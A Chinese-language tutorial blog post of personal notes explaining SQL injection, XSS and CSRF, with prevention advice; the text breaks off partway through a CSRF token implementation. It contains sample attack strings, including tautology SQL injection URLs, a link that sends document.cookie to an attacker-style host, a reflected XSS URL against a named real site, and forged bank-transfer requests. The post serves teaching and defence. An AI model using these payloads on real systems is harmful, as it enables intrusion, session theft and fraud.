xss,sql注入，csrf--个人整理

最新推荐文章于 2024-11-03 17:40:28 发布

原创最新推荐文章于 2024-11-03 17:40:28 发布 · 533 阅读

CC 4.0 BY-SA版权

本文详细介绍了SQL注入、XSS跨站脚本攻击和CSRF跨站请求伪造的概念、危害及常见攻击手段。对于SQL注入，解释了其原理和如何通过正则表达式、限制输入长度等方法防止；对于XSS，讲解了反射型和存储型两种类型，以及如何通过检查输入和转义输出来防范；而对于CSRF，通过实例展示了攻击原理，并提出了基于伪随机数的防御策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1、 SQL注入：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

首先让我们了解什么时候可能发生SQL 注入。

假设我们在浏览器中输入URL www.sample.com，由于它只是对页面的简单请求无需对数据库进行动态请求，所以它不存在SQL注入，当我们输入www.sample.com?testid=23时，我们在URL中传递变量testid，并且提供值为23，由于它是对数据库进行动态查询的请求（其中?testid＝23表示数据库查询变量），所以我们可以在URL中嵌入恶意SQL语句。

，我们要在URL中嵌入恶意恒真表达式1=1（或2=2等等），如下URL所示：http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1会查出表的数据，虽然我们把表的数据都查询出来了，但数据并没有太大的价值，由于我们把该表临时命名为job表，所以接着我们要找出该表真正表名。首先我们假设表名就是job，然后输入以下URL：

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from job)-- 当我们输入了以上URL后，结果服务器返回我们错误信息，这证明了我们的假设是错误

的，其实这里返回了很多信息，首先它证明了该表名不是job，而且它还告诉我们后台数据库是SQL Server，不是MySQL或Oracle，这也设计一个漏洞把错误信息直接返回给了用户！再根据信息测试表名！，接下让我们学习如何防止SQL Injection。

1.永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单引号和双"-"进行转换等。

2.永远不要使用动态拼装SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息明文存放，请加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装，把异常信息存放在独立的表中。

通过正则表达校验用户输入

首先我们可以通过正则表达式校验用户输入数据中是包含：对单引号和双"-"进行转换等字符。然后继续校验输入数据中是否包含SQL语句的保留字，如：WHERE，EXEC，DROP等。

2、XSS 中文意思跨站脚本攻击(CrossSite Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html标签或者javascript代码，当用户浏览该页或者进行某些操作时，嵌入其中Web里面的Script代码会被执行，攻击者利用用户对原网站的信任，诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

比如：攻击者在论坛中放一个看似安全的链接，骗取用户点击后，窃取cookie中的用户私密信息；或者攻击者在论坛中加一个恶意表单，当用户提交表单的时候，却把信息传送到攻击者的服务器中，而不是用户原本以为的信任站点

我这里就不说什么xss的历史什么东西了，xss是一门又热门又不太受重视的Web攻击手法，为什么会这样呢，原因有下：

1、耗时间

2、有一定几率不成功

3、没有相应的软件来完成自动化攻击

4、前期需要基本的html、js功底，后期需要扎实的html、js、actionscript2/3.0等语言的功底

5、是一种被动的攻击手法

6、对website有http-only、crossdomian.xml没有用

但是这些并没有影响黑客对此漏洞的偏爱，原因不需要多，只需要一个。

Xss几乎每个网站都存在，google、baidu、360等都存在。

原理：在表单文件里，嵌入php写入$xss = $_GET['xss_input']; 用户在文本框内输入<script>alert('xss')</script>就会弹出xss,说明存在xss漏洞！

原理：

XSS 属于被动式的攻击。攻击者先构造一个跨站页面，利用script、<IMG>、<IFRAME>等各种方式使得用户浏览这个页面时，触发对被攻击站点的http 请求。此时，如果被攻击者如果已经在被攻击站点登录，就会持有该站点cookie。这样该站点会认为被攻击者发起了一个http 请求。而实际上这个请求是在被攻击者不知情的情况下发起的，由此攻击者在一定程度上达到了冒充被攻击者的目的。精心的构造这个攻击请求，可以达到冒充发文，夺取权限等等多个攻击目的。在常见的攻击实例中，这个请求是通过script 来发起的，因此被称为Cross Site Script。攻击Yahoo Mail 的Yamanner 蠕虫是一个著名的XSS 攻击实例。Yahoo Mail 系统有一个漏洞，当用户在web 上察看信件时，有可能执行到信件内的javascript 代码。病毒可以利用这个漏洞使被攻击用户运行病毒的script。同时Yahoo Mail 系统使用了Ajax技术，这样病毒的script可以很容易的向Yahoo Mail 系统发起ajax 请求，从而得到用户的地址簿，并发送病毒给他人。

概念说明

先总结一下常见的攻击手法：

1. 依赖跨站漏洞，需要在被攻击网站的页面种入脚本的手法

1.1. Cookie 盗取，通过javascript 获取被攻击网站种下的cookie，并发送给攻击者。

1.1.1. 从cookie 中提取密码等隐私

1.1.2. 利用cookie 伪造session，发起重放攻击

1.2. Ajax 信息盗取，通过javascript 发起ajax 请求。

1.2.1. 从ajex 结果中获取隐私。

1.2.2. 模拟用户完成多页表单。

2.1. 单向HTTP 动作，通过img.src 等方法发起跨站访问，冒充被攻击者执行特权操作。但是很难拿到服务器的返回值。

2.2. 双向HTTP 动作，如果服务器产生一段动态的script，那么可以用script.src 的方法发起跨站访问并拿到服务器的返回值。

诸如此类，唯一能完全杜绝xss攻击的方法，就是禁用script，img等，显然这是不靠谱的，用户需要丰富的页面内容；当然我们可以用一些方法预防xss攻击，尽量减少xss造成的危害

防范手法如下：

1. 防堵跨站漏洞，阻止攻击者利用在被攻击网站上发布跨站攻击语句不可以信任用户提交的任何内容，首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤；其次任何内容写到页面之前都必须加以encode，避免不小心把html tag 弄出来。这一个层面做好，至少可以堵住超过一半的XSS 攻击。

2. Cookie 防盗

首先，避免直接在cookie 中泄露用户隐私，例如email、密码等等。

其次，通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值，不可能拿来重放。

3. 尽量采用POST 而非GET 提交表单

POST 操作不可能绕开javascript 的使用，这会给攻击者增加难度，减少可利用的跨站漏洞。

4. 严格检查refer

检查http refer 是否来自预料中的url。这可以阻止第2 类攻击手法发起的http 请求，也能防止大部分第1 类攻击手法，除非正好在特权操作的引用页上种了跨站访问。

5. 将单步流程改为多步，在多步流程中引入效验码

多步流程中每一步都产生一个验证码作为hidden 表单元素嵌在中间页面，下一步操

作时这个验证码被提交到服务器，服务器检查这个验证码是否匹配。首先这为第1 类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求，这在第2 类攻击中是几乎无法做到的。

6. 引入用户交互简单的一个看图识数可以堵住几乎所有的非预期特权操作。

7. 只在允许anonymous 访问的地方使用动态的javascript。

8. 对于用户提交信息的中的img 等link，检查是否有重定向回本站、不是真的图片等可疑操作。

9. 内部管理网站的问题很多时候，内部管理网站往往疏于关注安全问题，只是简单的限制访问来源。这种网站往往对XSS

攻击毫无抵抗力，需要多加注意。

安全问题需要长期的关注，从来不是一锤子买卖。XSS 攻击相对其他攻击手段更加隐蔽和多变，和业务流程、代码实现都有关系，不存在什么一劳永逸的解决方案。此外，面对XSS，往往要牺牲产品的便利性才能保证完全的安全，如何在安全和便利之间平衡也是一件需要考虑的事情。

XSS攻击的危害包括

盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

盗窃企业重要的具有商业价值的资料

非法转账

强制发送电子邮件

网站挂马

控制受害者机器向其它网站发起攻击

举例：

> <body onload=”a();”><script>function a(){alert(‘xss-gotcha!’);}</script><”

XSS 攻击主要分为两类：

分类方法一

一类则是来自外部的攻击，主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低，至少ajax 要发起跨站调用是非常困难的。

从其它站点到应用站点的攻击：故名思义，这种攻击是由外部发起的，来自email或其它站点。这种攻击在用户点击链接，下载图片或者提交表单的时候，对应用网站进行了意想之外的操作。

通常用户登录后会得到一个可用session，xss攻击者可以利用这个session，越过用户验证，进行一些不安全的操作，如下:

<a href = “http:// www.2cto.com /addComment.php?subject =I%20am%20owned” >Check it out!</a>

通过这个链接，只要用户登录了，就会发送一个subject，即使在其它网站上。

正因如此，一般的邮箱客户端不会自动从不信任的网站上加载图片（因为考虑到可以通过img的src属性向第三方站点发送GET请求）；另外，可以设置session的过期时间，让session自动失效。

另一类是来自内部的攻击，主要指的是利用WEB 程序自身的漏洞，提交特殊的字符串，从而使得跨站页面直接存在于被攻击站点上，这个字符串被称为跨站语句。这一类攻击所利用的漏洞非常类似于SQL Injection 漏洞，都是WEB程序没有对用户输入作充分的检查和过滤。上文的Yamanner就是一例。

从应用站点到同站或其它站点的攻击：这种攻击，通常是攻击者在应用站点上通过发表评论，或者其它方式嵌入代码，当用户加载页面或者点击链接就会产生一些意想之外的操作。

如下：

<a href=”#” onmouSEOver = “window.location =‘http://reallybadguys.net/collectCookie.php?cookie = + document cookie.escape();”>Check it out!</a>

当用户滑过链接，就会将cookie信息发到攻击者的服务器上。

分类方法二

xss的另一种分类方法（个人感觉更清楚），将xss攻击分为三种，

类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。

其攻击过程如下：

Alice给Bob发送一个恶意构造了Web的URL。

Bob点击并查看了这个URL。

恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。

具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。

Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

类型B

反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。

0x01：xss的类型

XSS的类型一般是三种：

第一种：反射型XSS

这种xss，跨站代码一般存在于某一个链接中，当呗攻击者访问这样的连接时，跨站代码就被执行，这类跨站代码一般不会存储在服务器上面

第二种：存储型XSS

这种xss用起来比较方便，跨站代码会存储在服务器上面数据库中，换句话就是可以持久的进行攻击，亦称持久型XSS

第三种：就是基于DOM的XSS

这是由于客户端脚本自身的解析不正确导致的安全问题

0x02：反射型XSS的攻击原理

反射型XSS，是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户

点击带有特定参数的链接才能引起。

既然是需要用户点击才能触发的跨站，那么这就要考验你的忽悠水平了，就像前段时间论坛出现的XSS攻击，就是通过转账，然后被攻击者查看消息从而触发的一种反射型XSS攻击

再如：

http://searchb.dangdang.com/?key=f',true,1);alert(1);//

这个经常逛乌云的应该都不陌生，这就是一个典型的反射型XSS，需要诱使用户去点击该链接，xss代码并不存储在服务端。所以攻击并不能持续。

常用测试方法：

对整个输入（特别强调的是，整个HTTP请求都是输入，数据库取来的数据其实也是输入。HTTP请求包括GET、POST参数，COOKIE，URL，头部的REFERER等等）中每个地方都可以如下操作，

1. 自己构造一个唯一的串，例如:myxsstestxxxx

2. 将某个输入项（比如某个参数）替换为上面的串

3. 查看HTTP相应中是否有这个串，并记录下来

4. 根据HTML上下文决定，用哪种类型串来尝试，尝试攻击串，然后重新提交请求

5. 如果能够找到相应的攻击串说明漏洞是存在的这里的关键在于第四步，因为服务器端可能会做一些限制，比如encode或者长度限制，测试的时候需要想办法看看是否能绕过限制。

0x03：存储型XSS的攻击原理

存储型就是攻击脚本被存储到了数据库或者文件中，服务器端（可能是别的应用或者别的页面）在读取了存储的内容后回显了，就是存储型。这种情况用户可能直接打开正常的页面就会看到被注入了

原理其实也很简单

XSS代码被提交给网站-->网站把XSS代码存储进数据库—>当该页面再次被请求时，服务器发送已经被植入XSS代码的数据给客户端—>客户端执行XSS代码

比较常见的例子是在留言板上插入XSS代码，前提当然是留言内容过滤不善

想内容中添加[/code]<script>alert(‘test’)</script>[/code]

这样就会弹出对话框，当然只要是可以添加内容的地方，你都可以试试XSS，比如说QQ空间的装扮里面，有一个自定义模块，你可以选择图片，然后添加如下代码

javascript:alert('XSS')"

当然，其可以执行的前提是服务端代码是这样写的

A=get[a]

<imgsrc=$a>

利用方法还有很多，比如现在兴起的XSS平台，新建一个项目，你就可以做很多事情

0x04：XSS BASED DOM

DOM—based XSS漏洞是基于文档对象模型DocumentObjeet Model，DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI ，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM—based XSS漏洞。

DOM—based XSS攻击源于DOM相关的属性和方法，被插入用于XSS攻击的脚本。一个典型的例子如下：

HTTP请求http：//www．Xss.com/hello.html?name=test使用以下的脚本打印出登录用户test的名字，即

var pos=docmnent．URL．indexOf(”name=”)+5;

document．write (document．URL．substring(pos，document．URL．1ength))；

< /SCRIPT>

如果这个脚本用于请求http：//www．Xss.com/hello．html?name=<script>alert(‘test’)</script>时，就

导致XSS攻击的发生。

当用户点击这个链接，服务器返回包含上面脚本的HTML静态文本，用户浏览器把HTML文本解析成DOM，DOM中的document对象URL属性的值就是当前页而的URL。在脚本被解析时，这个URL属性值的一部分被写入HTML文本，而这部分HTML文本却是JavaScript脚本，这使得<script>alert(‘test’)</script>成为页面最终显示的HTML文本，从而导致DOM—base XSS攻击发生。

0x05： XSS的防范办法

上面简单说了一下各种XSS的原理，以及最简单的利用方法，当然一些高级的XSS利用技巧，这里不会涉及，授人以鱼不如授人以渔嘛。还靠各位去琢磨了。下面我们来简单说一下XSS的防范。

现在的XSS如此流行，原因何在。我想大家应该都知道，就是在输入的时候没有做严格的过滤，而在输出的时候，也没有进行检查，转义，替换等

所以防范的方法就是，不信任任何用户的输入，对每个用户的输入都做严格检查，过滤，在输出的时候，对某些特殊字符进行转义，替换等

3.CSRF是什么？

　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：oneclick attack/session riding，缩写为：CSRF/XSRF。

二.CSRF可以做什么？

　　你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

三.CSRF漏洞现状

　　CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”。

四.CSRF的原理

　　下图简单阐述了CSRF攻击的思想：

首先a网站存在csrf漏洞，用户通过浏览器登陆信任的网站A，验证通过会产生一个cookie，然而用户在没有退出的情况下访问危险的网站B，B要通过request求访问第三方站点a网站，浏览器会带着用户登录产生的cookie访问a站，a站不知道此时的请求是用户发出的还是b站发出的，由于浏览器会自动带上用户的cookie，所以a网站会根据用户的cookie进行权限处理，这样b网站就完成了模拟登陆的目的！

　　从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

　　1.登录受信任网站A，并在本地生成Cookie。

　　2.在不登出A的情况下，访问危险网站B。

　　看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：

　　.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。

　　2.你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）

　　3.上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。

　　上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:>）

　　示例1：

　　银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000

　　危险网站B，它里面有一段HTML的代码如下：

　　<imgsrc=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

　　首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......

　　为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三

方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作......

示例2：

　　为了杜绝上面的问题，银行决定改用POST请求完成转账操作。

　　银行网站A的WEB表单如下：　　

　　　　<p>ToBankId: <input type="text"name="toBankId" /></p>

　　　　<p>Money: <input type="text"name="money" /></p>

　　</form>

　　后台处理页面Transfer.php如下：

复制代码

　　<?php

　　　　session_start();

　　　　if (isset($_REQUEST['toBankId'] &&　isset($_REQUEST['money']))

　　　　{

　　　　 buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);

　　　　}

复制代码

　　危险网站B，仍然只是包含那句HTML代码：

　　和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果.....和示例1一样，你再次没了1000块～T_T，这次事故的原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

　　示例3：

　　经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：

复制代码

　　<?php

　　　　session_start();

　　　　if (isset($_POST['toBankId'] &&　isset($_POST['money']))

　　　　{

　　　　 buy_stocks($_POST['toBankId'],　$_POST['money']);

　　　　}

复制代码

　　然而，危险网站B与时俱进，它改了一下代码：

复制代码

<html>

　　<head>

　　　　　　function steal()

　　　　　　{

　　　　 iframe = document.frames["steal"];

　　　　 iframe.document.Submit("transfer");

　　　　　　}

　　　　</script>

　　</head>

　　　　　　</form>

　　　　</iframe>

　　</body>

</html>

复制代码

如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!

　　总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一个<img>就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了CSRF攻击，后果都有可能很严重。

理解上面的3种攻击模式，其实可以看出，CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的！

五.CSRF的防御

　　我总结了一下看到的资料，CSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。

　　1.服务端进行CSRF防御

　　服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。

　　(1).Cookie Hashing(所有表单都包含同一个伪随机值)：

　　这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:>

　　<?php

　　　　//构造加密的Cookie信息

　　　　$value = “DefenseSCRF”;

　　　　setcookie(”cookie”, $value, time()+3600);

　　在表单里增加Hash值，以认证这确实是用户发送的请求。

复制代码

　　<?php

　　　　$hash = md5($_COOKIE['cookie']);

　　</form>

复制代码

　　然后在服务器端进行Hash值验证

复制代码

<?php

　　 if(isset($_POST['check'])) {

　　 $hash = md5($_COOKIE['cookie']);

　　 if($_POST['check'] == $hash) {

　　 doJob();

　　 } else {

　　　　　　　　//...

　　 }

　　 } else {

　　　　　　//...

　　 }

复制代码

　　这个方法个人觉得已经可以杜绝99%的CSRF攻击了，那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，这就另外的1%。一般的攻击者看到有需要算Hash值，基本都会放弃了，某些除外，所以如果需要100%的杜绝，这个不是最好的方法。

　　(2).验证码

　　这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄....这个方案可以完全解决CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码

图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。

　　(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

　　在实现One-Time Tokens时，需要注意一点：就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单，CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

　　以下我的实现:

　　1).先是令牌生成函数(gen_token())：

复制代码

<?php

function gen_token() {

　　　　//这里我是贪方便，实际上单使用Rand()得出的随机数作为令牌，也是不安全的。

　　　　//这个可以参考我写的Findbugs笔记中的《Random object created and used only once》

$token = md5(uniqid(rand(), true));

return $token;

}

复制代码

　　2).然后是Session令牌生成函数(gen_stoken())：